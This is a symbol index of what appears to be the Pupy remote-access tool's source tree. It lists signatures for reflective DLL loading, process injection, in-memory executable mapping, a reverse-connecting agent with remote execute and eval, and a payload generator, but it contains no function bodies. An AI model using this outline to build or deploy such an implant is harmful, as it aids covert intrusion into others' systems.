function VOID (line 814) | VOID BuildExportTable(PMEMORYMODULE module)
function DWORD (line 884) | DWORD SizeOfPEHeader(IMAGE_NT_HEADERS *headers)
function VOID (line 891) | VOID CleanupHeaders(PMEMORYMODULE module) {
function BOOL (line 906) | BOOL _CreateModuleMapping(HMODULE hModule, HANDLE *phMapping, PVOID *ppv...
function FARPROC (line 1208) | static
function FARPROC (line 1244) | FARPROC MemoryGetProcAddress(HMEMORYMODULE hmodule, LPCSTR name)
function DWORD (line 1278) | DWORD MemoryModuleFileNameA(HMODULE hModule, LPSTR name, DWORD dwDest)
function DWORD (line 1294) | DWORD MemoryModuleFileNameW(HMODULE hModule, LPWSTR name, DWORD dwDest)
function MemoryFreeLibrary (line 1310) | void MemoryFreeLibrary(HMEMORYMODULE mod)
function HMEMORYRSRC (line 1359) | HMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPC...
function PIMAGE_RESOURCE_DIRECTORY_ENTRY (line 1364) | static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
function HMEMORYRSRC (line 1441) | HMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, ...
function DWORD (line 1495) | DWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource)
function LPVOID (line 1507) | LPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource)
function HMEMORYRSRC (line 1518) | HMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCST...
function HMEMORYRSRC (line 1524) | HMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCW...
function HMEMORYRSRC (line 1529) | HMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LP...
function HMEMORYRSRC (line 1549) | HMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, L...
function DWORD (line 1575) | DWORD MemorySizeofResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)
function LPVOID (line 1601) | LPVOID MemoryLoadResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)
function BOOL (line 1627) | BOOL GetMemoryModuleInfo(
FILE: client/sources-windows-py3/MemoryModule.h
type HANDLE (line 46) | typedef HMODULE (CALLBACK *CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD);
type HANDLE (line 47) | typedef HMODULE (CALLBACK *CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD);
type LPSTR (line 52) | typedef DWORD (CALLBACK *CustomGetModuleFileNameA)(HMODULE, LPSTR, DWORD);
type LPWSTR (line 53) | typedef DWORD (CALLBACK *CustomGetModuleFileNameW)(HMODULE, LPWSTR, DWORD);
type DL_CALLBACKS (line 114) | typedef struct {
type MEMORY_LOAD_FLAGS (line 152) | typedef enum {
FILE: client/sources-windows-py3/MyLoadLibrary.c
type ORIGINAL_THREAD_ARGS (line 10) | typedef struct _ORIGINAL_THREAD_ARGS {
type HCUSTOMLIBRARY (line 16) | typedef struct {
type HLIBRARIES (line 31) | typedef struct {
function VOID (line 42) | VOID MySetLibraries(PVOID pLibraries) {
function PVOID (line 51) | PVOID MyGetLibraries() {
function PHCUSTOMLIBRARY (line 55) | static PHCUSTOMLIBRARY _FindMemoryModuleByAddress(
function PHCUSTOMLIBRARY (line 86) | static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module)
function PHCUSTOMLIBRARY (line 167) | static PHCUSTOMLIBRARY _FindMemoryModuleW(LPCWSTR name)
function NTSTATUS (line 199) | static
function ULONG (line 222) | static
function ULONG (line 233) | static
function NTSTATUS (line 247) | static
function PHCUSTOMLIBRARY (line 284) | static PHCUSTOMLIBRARY _AddMemoryModule(
function DWORD (line 372) | DWORD CALLBACK MyGetModuleFileNameW(HMODULE hModule, LPWSTR lpwStr, DWOR...
function DWORD (line 404) | DWORD CALLBACK MyGetModuleFileNameA(HMODULE hModule, LPSTR lpStr, DWORD ...
function HMODULE (line 441) | HMODULE CALLBACK MyGetModuleHandleA(LPCSTR name)
function BOOL (line 452) | static
function BOOL (line 497) | BOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE ...
function BOOL (line 501) | BOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE ...
function HMODULE (line 505) | HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg)
function HMODULE (line 512) | HMODULE
function HMODULE (line 562) | HMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name) {
function HMODULE (line 570) | HMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFla...
function HMODULE (line 580) | HMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFl...
function HMODULE (line 590) | HMODULE CALLBACK MyLoadLibraryA(LPCSTR name) {
function HMODULE (line 600) | HMODULE CALLBACK MyLoadLibraryW(LPCWSTR name) {
function BOOL (line 610) | BOOL CALLBACK MyFreeLibrary(HMODULE module)
function FARPROC (line 637) | FARPROC CALLBACK MyGetProcAddress(HMODULE module, LPCSTR procname)
function FARPROC (line 658) | FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname)
function HRSRC (line 671) | HRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type)
function HRSRC (line 686) | HRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type)
function HRSRC (line 701) | HRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR ty...
function HRSRC (line 716) | HRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR ...
function DWORD (line 731) | DWORD CALLBACK MySizeofResource(HMODULE hModule, HRSRC resource)
function LPVOID (line 746) | LPVOID CALLBACK MyLoadResource(HMODULE hModule, HRSRC resource)
function BOOL (line 761) | BOOL MySetUnhandledExceptionFilter(LPCSTR pszModuleName, LPTOP_LEVEL_EXC...
function LPTOP_LEVEL_EXCEPTION_FILTER (line 789) | LPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID) {
function LONG (line 793) | LONG WINAPI ThreadUnhandledExceptionFilter(
function DWORD (line 841) | static DWORD WINAPI WrappedThreadRoutine(LPVOID lpThreadParameter)
function HANDLE (line 881) | HANDLE CALLBACK MyCreateThread(
function VOID (line 916) | VOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData)
function BOOL (line 952) | BOOL MyFindMemoryModuleNameByAddr(
FILE: client/sources-windows-py3/MyLoadLibrary.h
type BOOL (line 54) | typedef BOOL (*LibraryInfoCb_t) (
FILE: client/sources-windows-py3/Python-dynload-os.h
function HMODULE (line 24) | static HMODULE OSLoadLibrary(const char *dllname) {
function HMODULE (line 35) | static HMODULE MemLoadLibrary(const char *dllname, char *bytes, size_t s...
type PyPreConfig (line 43) | typedef struct PyPreConfig {
type PyStatus (line 57) | typedef struct {
type PyWideStringList (line 68) | typedef struct {
type PyConfig (line 75) | typedef struct PyConfig {
FILE: client/sources-windows-py3/ReflectiveDllInjection.h
type DWORD (line 45) | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
FILE: client/sources-windows-py3/ReflectiveLoader.c
function ULONG_PTR (line 38) | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnA...
type ImportFunc (line 43) | typedef struct {
type ImportFrom (line 48) | typedef struct {
function WINAPI (line 56) | WINAPI REFLECTIVE_LOADER_SYM(LPVOID lpParameter)
FILE: client/sources-windows-py3/ReflectiveLoader.h
type SIZE_T (line 39) | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
type SIZE_T (line 40) | typedef LPVOID (WINAPI * VIRTUALPROTECT)( LPVOID, SIZE_T, DWORD, PDWORD );
type SIZE_T (line 41) | typedef LPVOID (WINAPI * VIRTUALFREE)( LPVOID, SIZE_T, DWORD );
type PVOID (line 42) | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
type DWORD (line 55) | typedef BOOLEAN (NTAPI * RTLADDFUNCTIONTABLE)( PVOID, DWORD, DWORD64 );
function DWORD (line 86) | __forceinline static
function DWORD (line 109) | __forceinline static
type UNICODE_STR (line 130) | typedef struct _UNICODE_STR
type LDR_DATA_TABLE_ENTRY (line 139) | typedef struct _LDR_DATA_TABLE_ENTRY
type PEB_LDR_DATA (line 157) | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
type PEB_FREE_BLOCK (line 169) | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
type _PEB (line 177) | typedef struct __PEB // 65 elements, 0x210 bytes
type IMAGE_RELOC (line 246) | typedef struct
FILE: client/sources-windows-py3/actctx.c
function ULONG_PTR (line 10) | ULONG_PTR _My_ActivateActCtx()
function _My_DeactivateActCtx (line 20) | void _My_DeactivateActCtx(ULONG_PTR cookie)
FILE: client/sources-windows-py3/actctx.h
type ULONG_PTR (line 22) | typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *);
FILE: client/sources-windows-py3/base_inject.c
function DWORD (line 140) | DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dw...
function DWORD (line 363) | DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddr...
function DWORD (line 444) | DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, ...
function DWORD (line 516) | DWORD inject_dll( DWORD dwPid, const LPVOID lpDllBuffer, DWORD dwDllLeng...
FILE: client/sources-windows-py3/base_inject.h
type APCCONTEXT (line 67) | typedef struct _APCCONTEXT
type WOW64CONTEXT (line 86) | typedef struct _WOW64CONTEXT
FILE: client/sources-windows-py3/in-mem-exe.c
type ULONG (line 19) | typedef ULONG NTSTATUS;
type PROCESSINFOCLASS (line 22) | typedef enum _PROCESSINFOCLASS
type MINI_PEB (line 27) | typedef struct _MINI_PEB
type PROCESS_BASIC_INFORMATION (line 34) | typedef struct _PROCESS_BASIC_INFORMATION
type PROCESSINFOCLASS (line 67) | typedef LONG (WINAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLAS...
function DWORD_PTR (line 69) | DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment)
function BOOL (line 81) | BOOL MapNewExecutableRegionInProcess(
function BOOL (line 234) | BOOL MapNewExecutableRegionInProcess(
FILE: client/sources-windows-py3/main_exe.c
function main (line 24) | int main()
function setup_jvm_class (line 41) | void setup_jvm_class(void) {}
FILE: client/sources-windows-py3/main_reflective.c
function DWORD (line 22) | DWORD WINAPI delayedMainThread(LPVOID lpArg)
function VOID (line 28) | __declspec(dllexport)
function BOOL (line 34) | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserv...
FILE: client/sources-windows-py3/postmortem.c
type EXCMSG (line 19) | typedef struct _EXCMSG {
function LPCSTR (line 24) | static
function CreateMiniDump (line 126) | static
function BOOL (line 200) | static
function SavePythonStackTrace (line 228) | static
function PVOID (line 260) | static
function DWORD64 (line 270) | DWORD64 WINAPI PupyGetModuleBase(HANDLE hProcess, DWORD64 pvAddr)
function VOID (line 287) | static
function USHORT (line 497) | static
function VOID (line 539) | static
function VOID (line 616) | static
function VOID (line 623) | static
function SaveExceptionInfo (line 670) | static
function LONG (line 816) | LONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionPointers)
function EnableCrashingOnCrashes (line 878) | void EnableCrashingOnCrashes()
FILE: client/sources-windows-py3/postmortem.h
type ADDRESS_MODE (line 12) | typedef enum {
type IMAGEHLP_SYMBOL64 (line 19) | typedef struct _IMAGEHLP_SYMBOL64 {
type IMAGEHLP_SYMBOL (line 28) | typedef struct _IMAGEHLP_SYMBOL {
type IMAGEHLP_SYMBOL_STORAGE64 (line 37) | typedef struct _IMAGEHLP_SYMBOL_STORAGE64 {
type IMAGEHLP_SYMBOL_STORAGE (line 42) | typedef struct _IMAGEHLP_SYMBOL_STORAGE {
type ADDRESS (line 47) | typedef struct _tagADDRESS {
type ADDRESS64 (line 53) | typedef struct _tagADDRESS64 {
type KDHELP64 (line 59) | typedef struct _KDHELP64 {
type STACKFRAME64 (line 79) | typedef struct _tagSTACKFRAME64 {
type KDHELP (line 93) | typedef struct _KDHELP {
type STACKFRAME (line 108) | typedef struct _tagSTACKFRAME {
type MINIDUMP_EXCEPTION_INFORMATION (line 122) | typedef struct _MINIDUMP_EXCEPTION_INFORMATION {
type MINIDUMP_TYPE (line 129) | typedef enum _MINIDUMP_TYPE {
type BOOL (line 158) | typedef BOOL (*MiniDumpWriteDump_t)(
FILE: client/sources-windows-py3/pupy.c
type DWORD (line 28) | typedef DWORD UINTPTR;
type ULONGLONG (line 30) | typedef ULONGLONG UINTPTR;
function on_exit_session (line 42) | void on_exit_session(void) {
function PyObject (line 58) | static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *...
function PyObject (line 71) | static PyObject *Py_get_arch(PyObject *self, PyObject *args)
function PyObject (line 80) | static PyObject *Py_mexec(PyObject *self, PyObject *args) {
function PyObject (line 270) | static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
function PyObject (line 297) | static PyObject *Py_load_dll(PyObject *self, PyObject *args)
function PyObject (line 310) | static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
function PyObject (line 323) | static PyObject *Py_is_shared_object(PyObject *self, PyObject *args)
function PyObject (line 328) | static PyObject *Py_set_is_shared_object(PyObject *self, PyObject *arg0)
function PyObject (line 336) | static PyObject *
type PyModuleDef (line 446) | struct PyModuleDef
function FUNC_EXPORT (line 461) | FUNC_EXPORT PyInit__pupy(void) {
function BOOL (line 486) | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserv...
FILE: client/sources-windows-py3/pupy_load.c
type LPWSTR (line 35) | typedef LPWSTR* (*CommandLineToArgvW_t)(
type VOID (line 40) | typedef VOID (*__p_set_abort_behavior_t)(DWORD, DWORD);
type VOID (line 41) | typedef VOID (__cdecl *signal_t) (
function redirect_stdout (line 49) | static
function LPSTR (line 75) | static
function LONG (line 193) | static
function OnAbortHandler (line 219) | void OnAbortHandler(int signum)
function initialize (line 225) | void initialize(BOOL isDll) {
function deinitialize (line 427) | void deinitialize() {
function LRESULT (line 431) | LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lPa...
function LONG (line 480) | static LONG PostmortemFilter(int code, PEXCEPTION_POINTERS pExceptionInf...
function DWORD (line 495) | DWORD WINAPI _run_pupy_thread(LPVOID lpArg)
function DWORD (line 513) | DWORD WINAPI execute(LPVOID lpArg)
FILE: client/sources-windows-py3/pupy_load.h
type VOID (line 6) | typedef VOID (*on_exit_session_t)(VOID);
type _pupy_pyd_args_t (line 10) | typedef struct _pupy_pyd_args {
FILE: client/sources-windows-py3/remote_thread.c
type CLIENTID (line 7) | typedef struct _MIMI_CLIENT_ID {
type PSECURITY_DESCRIPTOR (line 13) | typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(
function HANDLE (line 48) | HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID p...
FILE: client/sources-windows-py3/thread.c
type timespec (line 8) | struct timespec
function LOCK (line 26) | LOCK * lock_create( VOID )
function VOID (line 45) | VOID lock_destroy( LOCK * lock )
function VOID (line 64) | VOID lock_acquire( LOCK * lock )
function VOID (line 78) | VOID lock_release( LOCK * lock )
function EVENT (line 94) | EVENT * event_create( VOID )
function BOOL (line 119) | BOOL event_destroy( EVENT * event )
function BOOL (line 136) | BOOL event_signal( EVENT * event )
function BOOL (line 159) | BOOL event_poll( EVENT * event, DWORD timeout )
function THREAD (line 215) | THREAD * thread_open( VOID )
type thread_conditional (line 282) | struct thread_conditional {
function __thread_cancelled (line 290) | void __thread_cancelled(int signo)
type thread_conditional (line 308) | struct thread_conditional
type thread_conditional (line 308) | struct thread_conditional
function THREAD (line 339) | THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, L...
function BOOL (line 419) | BOOL thread_run( THREAD * thread )
function BOOL (line 445) | BOOL thread_sigterm( THREAD * thread )
function BOOL (line 472) | BOOL thread_kill( THREAD * thread )
function BOOL (line 503) | BOOL thread_join( THREAD * thread )
function BOOL (line 525) | BOOL thread_destroy( THREAD * thread )
FILE: client/sources-windows-py3/thread.h
type _UNICODE_STRING (line 9) | typedef struct __UNICODE_STRING
type _OBJECT_ATTRIBUTES (line 16) | typedef struct __OBJECT_ATTRIBUTES
type _CLIENT_ID (line 26) | typedef struct __CLIENT_ID
type BOOL (line 32) | typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD );
type ACCESS_MASK (line 34) | typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_AT...
type LOCK (line 42) | typedef struct _LOCK
type EVENT (line 51) | typedef struct _EVENT
type THREAD (line 56) | typedef struct _THREAD
FILE: pupy/agent/__init__.py
function _stub (line 79) | def _stub(*args, **kwargs):
function is_supported (line 83) | def is_supported(function):
function is_native (line 144) | def is_native():
function is_shared (line 148) | def is_shared():
function is_native (line 151) | def is_native():
function update_module_dict (line 208) | def update_module_dict(mod):
function get_pending_log (line 211) | def get_pending_log():
function set_pupy_config (line 217) | def set_pupy_config(new_config):
function set_broadcast_event (line 222) | def set_broadcast_event(callback):
function broadcast_event (line 230) | def broadcast_event(eventid, *args, **kwargs):
function get_logger (line 237) | def get_logger(name):
function set_stdio (line 245) | def set_stdio(null=False):
function set_debug (line 258) | def set_debug(is_enabled):
function get_debug (line 272) | def get_debug():
function dprint (line 276) | def dprint(msg, *args, **kwargs):
function remote_error (line 308) | def remote_error(message, *args, **kwargs):
function loadpy (line 332) | def loadpy(src, dst, masked=False):
function import_module (line 361) | def import_module(data, initname, fullname, path):
function load_dll (line 369) | def load_dll(name, buf=None):
function _get_module_files (line 398) | def _get_module_files(fullname, path=None):
function get_module_files (line 434) | def get_module_files(fullname, paths=[None]):
function make_module (line 449) | def make_module(fullname, path=None, is_pkg=False, mod=None):
class Blackhole (line 479) | class Blackhole(object):
method _do_nothing (line 480) | def _do_nothing(self, *args, **kwargs):
class DummyPackageLoader (line 486) | class DummyPackageLoader(object):
method __init__ (line 489) | def __init__(self, fullname):
method load_module (line 492) | def load_module(self, fullname):
class PupyPackageLoader (line 496) | class PupyPackageLoader(object):
method __init__ (line 502) | def __init__(self, fullname, contents, extension, is_pkg, path):
method __repr__ (line 510) | def __repr__(self):
method _rename_aliased (line 513) | def _rename_aliased(self, fullname):
method _make_module (line 531) | def _make_module(self, fullname, mod=None):
method load_module (line 534) | def load_module(self, fullname):
class PupyPackageFinderImportError (line 608) | class PupyPackageFinderImportError(ImportError):
class PupyPackageFinder (line 612) | class PupyPackageFinder(_bootstrap_external._LoaderBasics):
method __init__ (line 618) | def __init__(self, path):
method init_search_lock (line 630) | def init_search_lock():
method _rename_aliased (line 634) | def _rename_aliased(self, fullname):
method _is_already_loaded (line 648) | def _is_already_loaded(self, fullname):
method _remote_load_packages (line 658) | def _remote_load_packages(self, fullname, second_pass):
method iter_modules (line 703) | def iter_modules(self, fullname, path=None):
method find_module (line 718) | def find_module(self, fullname, path=None, second_pass=False):
method __repr__ (line 825) | def __repr__(self):
function initialize_basic_windows_modules (line 830) | def initialize_basic_windows_modules():
function load_pupyimporter (line 852) | def load_pupyimporter(stdlib=None):
function init_pupy (line 905) | def init_pupy(argv, stdlib, debug=False):
function load_memimporter_fallback (line 956) | def load_memimporter_fallback():
function setup_credentials (line 972) | def setup_credentials(config):
function setup_manager (line 981) | def setup_manager():
function setup_network (line 1002) | def setup_network():
function setup_obtain (line 1007) | def setup_obtain():
function setup_hooks (line 1013) | def setup_hooks():
function setup_modules (line 1020) | def setup_modules():
function prepare (line 1027) | def prepare(argv=sys.argv, debug=False, config={}, stdlib=None):
function main (line 1066) | def main(argv=sys.argv, debug=False, config={}, stdlib=None):
FILE: pupy/agent/_linux_memfd.py
function _get_nr_memfd_create_syscall (line 28) | def _get_nr_memfd_create_syscall():
function _memfd_create (line 45) | def _memfd_create(name):
function memfd_is_supported (line 49) | def memfd_is_supported():
function memfd_create (line 90) | def memfd_create(name='heap'):
FILE: pupy/agent/config.py
function update_config_from_argv (line 17) | def update_config_from_argv():
FILE: pupy/agent/dl_hacks.py
function _find_library (line 29) | def _find_library(name):
function _pupy_make_library_path (line 40) | def _pupy_make_library_path(name):
function _pupy_find_library (line 54) | def _pupy_find_library(name):
function _pupy_dlopen (line 64) | def _pupy_dlopen(name, *args, **kwargs):
function apply_dl_hacks (line 87) | def apply_dl_hacks():
FILE: pupy/agent/handlers.py
function _defered_close_exit (line 18) | def _defered_close_exit(connection):
function _handle_sigchld (line 32) | def _handle_sigchld(*args, **kwargs):
function _handle_sighup (line 36) | def _handle_sighup(*args):
function _handle_sigterm (line 40) | def _handle_sigterm(*args):
function set_sighandlers (line 68) | def set_sighandlers():
FILE: pupy/agent/logger.py
function create_root_logger (line 20) | def create_root_logger(loglevel=logging.WARNING):
function enable_debug_logger (line 28) | def enable_debug_logger(root_logger):
FILE: pupy/agent/manager.py
class Task (line 19) | class Task(Thread):
method __init__ (line 29) | def __init__(self, manager, *args, **kwargs):
method name (line 47) | def name(self):
method results (line 51) | def results(self):
method dirty (line 62) | def dirty(self):
method append (line 65) | def append(self, result):
method broadcast_event (line 92) | def broadcast_event(self, eventid, *args, **kwargs):
method stop (line 95) | def stop(self):
method run (line 101) | def run(self):
method active (line 115) | def active(self):
method event (line 126) | def event(self, event):
class Manager (line 130) | class Manager(object):
method __init__ (line 137) | def __init__(self, pstore):
method get (line 141) | def get(self, klass):
method create (line 145) | def create(self, klass, *args, **kwargs):
method stop (line 157) | def stop(self, klass, force=False):
method active (line 168) | def active(self, klass):
method dirty (line 181) | def dirty(self):
method status (line 185) | def status(self):
method event (line 193) | def event(self, event):
FILE: pupy/agent/memimporter/__init__.py
function import_module (line 25) | def import_module(data, initname, fullname, path, spec):
function load_dll (line 36) | def load_dll(name, data):
FILE: pupy/agent/memimporter/linux.py
class LibName (line 60) | class LibName(ctypes.Structure):
class DlMapPrivate (line 68) | class DlMapPrivate(ctypes.Structure):
function _change_dlname (line 81) | def _change_dlname(lib, new_name):
function load_content (line 102) | def load_content(content, name, dlopen=False, initfuncname=None):
function load_content (line 119) | def load_content(content, name, dlopen=False, initfuncname=None):
FILE: pupy/agent/memimporter/posix.py
function _does_dest_allows_executable_mappings (line 27) | def _does_dest_allows_executable_mappings(folder):
function load_content (line 63) | def load_content(content, name, dlopen=False, initfuncname=None):
FILE: pupy/agent/memimporter/utils.py
class package_context (line 36) | class package_context(object):
method __init__ (line 40) | def __init__(self, name):
method __enter__ (line 44) | def __enter__(self):
method __exit__ (line 51) | def __exit__(self, exc_type, exc_value, exc_traceback):
function find_writable_folder (line 56) | def find_writable_folder(folders, validate=None):
function load_library_common (line 83) | def load_library_common(
FILE: pupy/agent/memimporter/win32.py
function _does_dest_allows_executable_mappings (line 21) | def _does_dest_allows_executable_mappings(folder):
function load_content (line 44) | def load_content(content, name, dlopen=False, initfuncname=None):
FILE: pupy/agent/pstore.py
class PStore (line 31) | class PStore(object):
method __init__ (line 37) | def __init__(self, pstore_dir='~'):
method __getitem__ (line 82) | def __getitem__(self, key):
method __setitem__ (line 87) | def __setitem__(self, key, value):
method load (line 92) | def load(self):
method store (line 119) | def store(self):
FILE: pupy/agent/psutil_hacks.py
function apply_psutil_hacks (line 12) | def apply_psutil_hacks():
function apply_psutil_hacks (line 21) | def apply_psutil_hacks():
FILE: pupy/agent/service.py
class Namespace (line 81) | class Namespace(dict):
class Cleanups (line 85) | class Cleanups(list):
function _import (line 93) | def _import(name):
class UpdatableModuleNamespace (line 100) | class UpdatableModuleNamespace(ModuleNamespace):
method __invalidate__ (line 103) | def __invalidate__(self, name):
method __getitem__ (line 108) | def __getitem__(self, name):
method __getattr__ (line 113) | def __getattr__(self, name):
class ReverseSlaveService (line 148) | class ReverseSlaveService(Service):
method __init__ (line 155) | def __init__(self, conn):
method on_connect (line 161) | def on_connect(self):
method on_disconnect (line 193) | def on_disconnect(self):
method exposed_exit (line 221) | def exposed_exit(self):
method exposed_register_cleanup (line 240) | def exposed_register_cleanup(self, method):
method exposed_unregister_cleanup (line 243) | def exposed_unregister_cleanup(self, method):
method exposed_execute (line 246) | def exposed_execute(self, text):
method exposed_get_infos (line 258) | def exposed_get_infos(self, s=None):
method exposed_eval (line 279) | def exposed_eval(self, text):
method exposed_getmodule (line 283) | def exposed_getmodule(self, name):
method exposed_obtain_call (line 287) | def exposed_obtain_call(self, function, packed_args):
method exposed_msgpack_dumps (line 301) | def exposed_msgpack_dumps(self, obj, compressed=False):
method exposed_json_dumps (line 307) | def exposed_json_dumps(self, obj, compressed=False):
method exposed_getconn (line 333) | def exposed_getconn(self):
class BindSlaveService (line 338) | class BindSlaveService(ReverseSlaveService):
method on_connect (line 340) | def on_connect(self):
class PupyClient (line 367) | class PupyClient(object):
method __init__ (line 376) | def __init__(self, cid, launcher, launcher_args, delays):
method set_broadcast_event (line 406) | def set_broadcast_event(self, callback):
method broadcast_event (line 409) | def broadcast_event(self, eventid, *args, **kwargs):
method set_connection_info (line 436) | def set_connection_info(self, connection):
method reset_connection_info (line 447) | def reset_connection_info(self):
method terminate (line 451) | def terminate(self):
method __getitem__ (line 459) | def __getitem__(self, key):
method connected (line 470) | def connected(self):
method launcher (line 477) | def launcher(self):
method set_info (line 480) | def set_info(self, key, value):
method unset_info (line 489) | def unset_info(self, key):
method iteritems (line 501) | def iteritems(self):
method _get_next_wait (line 511) | def _get_next_wait(self):
method _iterate_launcher (line 518) | def _iterate_launcher(self):
method run (line 587) | def run(self):
function run (line 609) | def run(config):
FILE: pupy/agent/ssl_hacks.py
function set_default_timeout (line 13) | def set_default_timeout(timeout=60):
function change_default_verify_paths (line 17) | def change_default_verify_paths():
function apply_ssl_hacks (line 58) | def apply_ssl_hacks():
FILE: pupy/agent/utils.py
function pupy_add_package (line 32) | def pupy_add_package(pkdic, compressed=False, name=None):
function has_module (line 55) | def has_module(name):
function has_dll (line 92) | def has_dll(name):
function new_modules (line 96) | def new_modules(names):
function new_dlls (line 113) | def new_dlls(names):
function invalidate_module (line 119) | def invalidate_module(name):
function register_package_request_hook (line 139) | def register_package_request_hook(hook):
function register_package_error_hook (line 143) | def register_package_error_hook(hook):
function unregister_package_error_hook (line 150) | def unregister_package_error_hook():
function unregister_package_request_hook (line 155) | def unregister_package_request_hook():
function safe_obtain (line 160) | def safe_obtain(proxy):
function register_pupyimporter (line 184) | def register_pupyimporter():
FILE: pupy/agent/winerror_hacks.py
function FormatMessage (line 36) | def FormatMessage(code):
function apply_winerror_hacks (line 60) | def apply_winerror_hacks():
FILE: pupy/cli/pupygen.py
function bord (line 69) | def bord(x):
class NoOutput (line 75) | class NoOutput(Exception):
function get_pyver (line 79) | def get_pyver(pyver, config):
function get_edit_binary (line 97) | def get_edit_binary(target, display, path, conf):
function get_raw_conf (line 187) | def get_raw_conf(display, conf, verbose=False):
function updateZip (line 286) | def updateZip(zipname, filename, data):
function updateTar (line 309) | def updateTar(arcpath, arcname, file_path):
function get_edit_apk (line 341) | def get_edit_apk(target, display, path, conf):
function generate_ps1 (line 403) | def generate_ps1(
function generate_binary_from_template (line 492) | def generate_binary_from_template(
function pack_scriptlets (line 600) | def pack_scriptlets(
class InvalidOptions (line 655) | class InvalidOptions(Exception):
function get_parser (line 670) | def get_parser(base_parser, config):
function pupygen (line 799) | def pupygen(args, config, pupsrv, display):
function main (line 1236) | def main():
FILE: pupy/cli/pupysh.py
function parse_args (line 47) | def parse_args():
function main (line 81) | def main():
FILE: pupy/commands/__init__.py
class InvalidCommand (line 18) | class InvalidCommand(Exception):
class CommandsNamespace (line 22) | class CommandsNamespace(object):
method __init__ (line 26) | def __init__(self, module, args):
class Commands (line 31) | class Commands(object):
method __init__ (line 37) | def __init__(self):
method _refresh (line 42) | def _refresh(self):
method _get_command (line 71) | def _get_command(self, cmdline, aliases, modules, refresh=True):
method has (line 108) | def has(self, command):
method get (line 114) | def get(self, command):
method execute (line 120) | def execute(self, server, handler, config, cmdline, clients_filter=None):
method list (line 145) | def list(self, refresh=True):
method completer (line 154) | def completer(self, context, cmdline):
FILE: pupy/commands/config.py
function do (line 45) | def do(server, handler, config, args):
FILE: pupy/commands/connect.py
function do (line 17) | def do(server, handler, config, args):
FILE: pupy/commands/creds.py
function do (line 22) | def do(server, handler, config, modargs):
FILE: pupy/commands/dnscnc.py
function do (line 112) | def do(server, handler, config, args):
FILE: pupy/commands/exit.py
function do (line 11) | def do(server, handler, config, args):
FILE: pupy/commands/exposed.py
function do (line 13) | def do(server, handler, config, modargs):
FILE: pupy/commands/gen.py
function parser (line 18) | def parser(server, handler, config):
function do (line 21) | def do(server, handler, config, args):
FILE: pupy/commands/help.py
function do (line 17) | def do(server, handler, config, args):
FILE: pupy/commands/jobs.py
function do (line 19) | def do(server, handler, config, modargs):
FILE: pupy/commands/listen.py
function do (line 28) | def do(server, handler, config, args):
FILE: pupy/commands/logging.py
function levelToString (line 28) | def levelToString(level):
function levelToColor (line 37) | def levelToColor(level):
function do (line 46) | def do(server, handler, config, args):
FILE: pupy/commands/python.py
function do (line 23) | def do(server, handler, config, args):
FILE: pupy/commands/restart.py
function do (line 18) | def do(server, handler, config, args):
FILE: pupy/commands/run.py
function do (line 49) | def do(server, handler, config, modargs):
